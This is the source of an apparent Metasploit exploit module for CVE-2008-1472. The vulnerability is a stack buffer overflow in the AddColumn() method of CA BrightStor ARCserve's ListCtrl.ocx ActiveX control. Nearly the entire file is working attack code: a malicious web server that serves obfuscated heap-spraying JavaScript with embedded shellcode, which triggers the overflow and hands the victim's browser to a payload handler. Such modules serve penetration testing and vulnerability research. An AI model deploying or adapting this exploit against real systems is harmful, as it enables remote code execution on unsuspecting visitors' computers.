CoCalc -- ca_brightstor

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb
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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  include Msf::Exploit::Remote::HttpServer::HTML
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',
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        'Description' => %q{
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          The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based
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          buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker
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          could overflow a buffer and execute arbitrary code on the system.
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        },
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        'License' => MSF_LICENSE,
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        'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ],
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        'References' => [
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          [ 'CVE', '2008-1472' ],
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          [ 'OSVDB', '43214' ],
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        ],
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        'DefaultOptions' => {
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          'EXITFUNC' => 'process',
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        },
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        'Payload' => {
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          'Space' => 1024,
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          'BadChars' => "\x00",
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        },
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        'Platform' => 'win',
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        'Targets' => [
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          [ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]
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        ],
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        'DisclosureDate' => '2008-03-16',
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        'DefaultTarget' => 0,
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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  end
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  def autofilter
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    false
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  end
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  def check_dependencies
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    use_zlib
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  end
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  def on_request_uri(cli, request)
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    # Re-generate the payload.
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    return if ((p = regenerate_payload(cli)) == nil)
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    # Encode the shellcode.
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    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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    # Create some nops.
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    nops = Rex::Text.to_unescape(make_nops(4))
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    # Set the return.
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    ret = Rex::Text.to_unescape([target.ret].pack('V'))
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    # Randomize the javascript variable names.
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    vname = rand_text_alpha(rand(30) + 1)
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    var_i = rand_text_alpha(rand(5) + 1)
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    rand1 = rand_text_alpha(rand(100) + 1)
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    rand2 = rand_text_alpha(rand(100) + 1)
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    rand3 = rand_text_alpha(rand(100) + 1)
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    rand4 = rand_text_alpha(rand(100) + 1)
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    rand5 = rand_text_alpha(rand(100) + 1)
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    rand6 = rand_text_alpha(rand(100) + 1)
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    rand7 = rand_text_alpha(rand(100) + 1)
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    content = %Q|
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    <html>
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    <object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>
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      <script>
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      var #{rand1} = unescape("#{shellcode}");
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      var #{rand2} = 0x0A0A0A0A;
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      var #{rand3} = 0x400000;
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      var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};
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      var #{rand5} = unescape("#{ret}");
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      var #{rand6} = 128;
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      while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};
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        #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);
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        #{rand7} = new Array();
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        for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};
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          while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};
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            #{rand5} = #{rand5}.substring(0, #{rand6});
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            #{vname}.AddColumn(#{rand5}, 1);
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      </script>
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    </html>
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      |
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    content = Rex::Text.randomize_space(content)
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    print_status("Sending #{self.name}")
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    # Transmit the response to the client
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    send_response_html(cli, content)
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    # Handle the payload
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    handler(cli)
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  end
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end
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